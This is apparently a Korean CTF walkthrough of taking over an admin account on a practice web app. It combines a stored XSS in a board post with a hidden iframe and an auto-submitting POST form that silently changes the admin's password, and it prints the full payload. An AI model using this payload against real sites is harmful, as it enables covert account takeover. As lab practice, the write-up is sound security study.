Admin 계정을 탈취해 로그인 하자!
우선 admin 계정을 탈취하기 위해서 나의 마이페이지에서 테스트해 보았다.
mypage_update.php로 이동하면서 회원정보가 수정된다.
Burp suite로 확인해 보면 POST 방식으로 값이 들어가는 것을 확인할 수 있었다.
리피터로 보내서 GET 요청해 보았다.
GET 방식으로는 안되는 거 같다 좀 더 복잡하지만 POST 방식을 이용해야겠다.
시나리오를 간단히 세워보면 포스트 방식으로 보낸 링크를 mypage_update.php 관리자가 클릭하면 되는 것 같다.
CSRF 공격을 이용하기 위해서 XSS 취약점을 찾아주면 좋다
링크를 관리자가 클릭하게 하기 위해서는 XSS 취약점을 찾아봐야겠다
업데이트를 클릭!
Html entity를 사용하지 않는 것을 보니 여기에서 XSS 취약점이 일어나는 거 같다.
게시글 클릭해서 관리자가 mypage_update.php 여기로 유도되면 alert가 회원 정보 수정에 성공하셨습니다!
이렇게 관리자가 알아채기 쉽기 때문에 alert 안 나오게 sandbox=”allow-forms allow-same-origin” 넣어줬다.
또한 폼 태그를 이용해서 POST 방식으로 보낼 수 있고 일반적인 경우 인풋 태그를 사용해서 정보 변경을 하기 때문에
개발자 도구로 input name 요소를 확인 후 위처럼 값을 넣었다.
<iframe name="steal" style="display:none;" sandbox="allow-forms allow-same-origin"></iframe>
<form method="POST" action="http://ctf.segfaulthub.com:7575/csrf_2/mypage_update.php?" id="myForm" target="steal">
<input type="hidden" name="id" value="bnm_admin"/>
<input type="hidden" name="info" value="bnm"/>
<input type="hidden" name="pw" value="bnm"/>
</form>
<script>
document.getElementById('myForm').submit();
</script>
클릭해 보았다. 어떤 일이 일어나는지 알 수 없지만
Burp suite로 확인해 보면 제대로 작동하는 것을 알 수 있다.
관리자가 게시글을 클릭했고
아까 POST로 넣었던 비밀번호로 접속해 보면
관리자의 정보를 바꿀 수 있었다.